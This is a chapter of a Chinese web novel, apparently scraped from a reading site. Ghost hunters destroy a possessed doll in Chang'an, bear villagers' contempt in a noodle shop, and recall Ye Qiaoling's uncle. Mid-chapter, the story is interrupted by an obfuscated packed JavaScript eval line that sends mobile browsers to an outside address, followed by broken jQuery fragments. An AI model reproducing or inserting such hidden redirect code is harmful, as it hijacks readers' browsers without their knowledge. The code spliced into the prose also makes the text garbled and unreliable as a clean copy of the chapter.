48. 长安(七)

作品:《女配觉醒后男主他自我攻略了

    宁观澜冷漠的声音响起,“别装了,你这怨鬼虽与罗小儿的残魂共生,但不过是为了借着他的名头和这对夫妇的执念,行害人之实。”


    眼看伪装被彻底戳穿,鬼娃娃在火焰中愈发癫狂,发出狠毒与不甘的嘶吼。


    “该死的!该死的道士!若非你们在罗家并发现了香料的问题,单凭你们根本无法解决我!只会和你们的同门一样,被打发回去!!”


    它的嘶吼声在火焰中逐渐微弱,最终与丑陋的身躯一同,化为了地上一小撮散发着焦臭的黑灰。


    破庙内,只剩下罗家老妇断断续续、充满悔恨与后怕的抽泣声在回荡。


    众人神色各异。


    夜巧灵谨慎地伸手捻起一点地上的黑色灰烬,凑到鼻尖嗅了嗅,肯定道:“是湘疆特有香料。”


    “我想,他大概是知晓我已经发现香料的不对劲,所以才没有完全阻止我们抢走这娃娃,甚至可能有意借我们之手,毁掉这个对他而言失去价值的。”她冷静地分析道。


    而罗家人也像是被抽干了最后一丝力气,眼眸中尽是灰败之色。


    在宁辰清又一次冷静而直接的追问下,罗老头才如同梦呓般,喃喃道出了娃娃的真正来历:“娃娃.....是我们在鬼市买的。”


    “鬼市?”宁辰清敏锐地抓住了这个陌生的词汇,立刻追问,道:“那是什么地方?在何处?”


    “是长安城外西南方向的一条隐秘街道。”


    罗老头老实讲述,声音干涩,“里面鱼龙混杂,据说有着许多外面见不到的奇珍异宝,传闻任何你想要的东西,都能在鬼市打听到门路。最奇特的就是街中心那座没人说得清里面到底有什么的蜃楼....”


    据罗家人描述,鬼市只在特定的夜间开市,灯火通明又透着诡异。


    那里交易的涉及面极广,传闻来往者不仅仅只有活人,还有隐匿身份的妖物,以及一些因各种缘由尚且滞留在阳间的游魂。


    而鬼市最大的规矩,便是交易双方皆不露真容,来往的人们都戴着各式各样的面具,隐藏身份。


    不知是不是因为其位置终究紧邻天子脚下的长安,街口竟然也象征性地站着几名面无表情的衙役,维持着一种脆弱的、表面的秩序。


    彼时,将浑浑噩噩的罗家人送回去安顿时,天色已经临近破晓。


    众人又耗费了好一番功夫对罗家老两口进行劝诫开导,确保他们不会再误入歧途,这才又马不停蹄地返回隔壁张家,为依旧虚弱的张娘子了结此事。


    待到全部事情解决妥当,天色大亮已是正午时分。


    这期间,无人掉队,也无人抱怨,他们都在尽可能地收拾残局安抚被鬼魅影响的普通人。


    在捉鬼的高强度压力下,留给他们休整的时间被压缩得少之又少,每个人都在透支着自己的精力与心神。


    好不容易路过一家街边的面馆,浓郁的香气飘散出来,众人当即决定暂作休整。


    热腾腾的汤面飘着诱人的香气,像无形的钩子,牢牢钓住了每个人疲惫身躯里仅存的味蕾渴望。


    在无法安眠休息的时候,填饱肚子便成了他们此刻唯一的慰藉。


    不过,他们这一身与寻常百姓格格不入的行头,到底还是引来了旁人的侧目与低声讨论。


    邻桌一个约莫五六岁的孩童,睁着好奇的大眼睛,扯了扯身旁母亲的衣袖,指着裴念几人小声问道:“娘,你看他们是干什么的呀?穿得真好看。”


    母亲正低头挑着碗里的葱花,闻言顺着孩童的手指瞥了一眼风尘仆仆的几人,没好气地低声斥道:“小孩子别瞎指!看什么看,八成是些走江湖、算命的骗子。”


    “什么是走江湖的骗子呀?”孩童天真,不解母亲为何语气如此不善。


    母亲似乎不耐烦孩子的追问,“啪”地放下筷子,抬手随意指了指巷子口一个正支着张小破桌子正摇头晃脑给人掐算指头的老头,道:“喏,就跟那种差不多,都是些没根没萍哄人钱财的,没什么真本事。”


    她们交谈的声音在相对安静的面馆里不算太小。


    此言一出,旁边几张桌子的食客也纷纷顺着她们的目光看去,带着探究、好奇,甚至是一丝鄙夷的视线,在几位埋头吃面的捉鬼师身上来回扫视。


    这期间,无人应声反驳。


    宁辰清甚至连眼皮都未抬一下,宁观澜也只是慢条斯理地喝了一口面汤。


    他们早已习惯了旁人的的误解与轻视。


    捉鬼师行走于阴阳边缘,所见所闻本就超乎寻常,不需要向每一个路人都去解释。


    面馆的小二倒是见怪不怪,依旧麻利地穿梭于桌椅之间,端茶倒水。


    乍听周围议论声,也只当是寻常闲话,左不过议论几句也就散了。


    只是接下来,邻桌两个半大孩子的对话开始跑偏了方向。


    “哎,你看他们的打扮,会不会是捉鬼师呀?”


    这次开口的是那个女孩,声音里是抑制不住的兴奋与好奇。


    “肯定是!”


    旁边的男孩立刻接话,语气笃定,甚至带着点炫耀的口吻,“我之前跟我娘说,长大想上山去当捉鬼师,你猜怎么着?我娘二话不说就给了我一顿好打!”


    女孩果然被吸引了注意力,放下筷子,追问道:“你娘为什么打你呀?”


    与此同时,周围几张桌子原本还在低声闲聊的食客,也不知不觉放慢了咀嚼的速度,竖起了耳朵。


    男孩语气颇为遗憾道:“我娘说啊,只有那种没爹没娘疼、家里实在过不下去的孤儿,或是走投无路的人,才会跑去当捉鬼师搏条贱命的!你想想,这可是天天跟妖鬼打交道,一不小心就把命丢了的活儿,寻常人家,哪舍得自己好好的孩子去干这个?!”


    贱命二字,如同两颗石子,猝然砸进这碗尚冒着热气的汤面里。


    面馆内瞬间陷入一片突兀的寂静。


    “叮。”


    一声轻微的脆响,是夜巧灵手中的瓷勺无意碰在了碗沿。


    她垂着眼,看不清神色,只默默将勺子摆正。


    裴逸脸上惯常的温润笑意淡了下去,他没说话,只抬手自然地往裴念碗里添了一筷她爱吃的菜。


    宁辰清仿佛未闻,依旧垂眸吃面,只是咀嚼的速度,微不可察地慢了一拍。


    窗外漏进的薄光拂过他清隽的侧脸,将眼尾那颗淡痣,勾勒得格外清晰。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859534|179646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方才的话语声音不高语气也淡,似一根细而冷的针倏地刺破了周遭热闹的烟火气。


    裴念私下里早已多次听闻此类言论,正如她先前劝诫叶良时所言,她从不认为捉鬼师是一份值得向往的职业。


    不过是一群无依无靠的孩童被天元宗收留,由师姐师兄们照料他们的日常生活,在此期间日复一日地学习那些艰深晦涩的捉鬼术。


    直至年满十五岁方能正式下山,踏上与鬼魅搏命的道路,而后便是在一次次凶险中,艰难地提升等阶。


    期间不知要经历多少风霜雨雪,目睹多少同门惨烈的离别。


    可若非成为捉鬼师,恐怕如今的她仍徘徊街头,沿街乞讨。


    喧嚷声、食物香、碗筷响依旧在四周流淌。


    他们依旧面对面坐着,沉默地吃着碗里剩下的面,只是这汤的滋味,这面的筋道,似乎都与片刻前有些不同了。


    先前一点暖意与闲适悄然褪去,取而代之的是无声的疏离。


    几人吃完面后,未作过多逗留结账离开,转而来到长安宽阔的街上闲步,一如每次捉鬼前等待日落的时候,更没有人提及刚才的插曲。


    没多久他们便寻了处临街的简陋茶铺坐下,要了清茶,望着眼前熙攘往来的人流。


    宁观澜借着这个空档,状似随意地开口问道:“夜师妹先前曾言,与那来历不明的黑衣人相识,不知这其中是有什么渊源吗?”


    他语气温和,不带逼迫,霎时间所有人的注意又一次聚焦在了夜巧灵身上。


    夜巧灵握着茶杯的手微微一顿,抬起眼似乎早料到会有此一问。


    她并未继续隐瞒的意思,轻轻抿了一口微凉的茶水,放下杯子,坦然道:“那人是我二叔,夜川。”


    *


    夜川的出现,恰逢夜巧灵得知阿爹带着妹妹夜昕灵离开的当天。


    雨水淅沥,夜巧灵匆匆跑回家,心中仍怀着一丝奢望。


    可是,推开门的瞬间,她茫然地伫立在空荡荡的屋前,浑身湿透。


    屋内的摆设依旧如故,只是熟悉的人,再也不会回来了。


    是夜川撑着伞,如同一个突兀的影子,出现在她身边,将她带回了尚有暖意的屋内。


    夜巧灵其实跟这位二叔并不熟,甚至从小到大都没说上过几句话。


    他行踪不定,在家中仅被阿爹口头提及,突然的出现让惊魂未定的夜巧灵本能地提起了防备。


    夜川试图拿起干帕子,擦拭她湿漉漉的头发,动作中透着笨拙与真切的关怀。


    可夜巧灵则伸手接过帕子,自己随意地擦拭起来,语气中是明显的不悦,“二叔怎么来了?”


    “来看看你,怕你想不开。”夜川的声音低沉,试图安慰。


    此言一出,夜巧灵愣了片刻。


    那时的她,虽然心中早已乱作一团,但骨子里仍存着几分属于年幼的迟钝,以及不愿面对现实的倔强。


    她当真以为,眼前这人是出于对兄弟孩子的关切才现身,于是立刻出言反驳:“我不会想不开的。阿爹他.....他只是担心我年纪小,出去无法适应外面的生活,才先带着昕灵走的。他安顿好了,一定会回来接我。”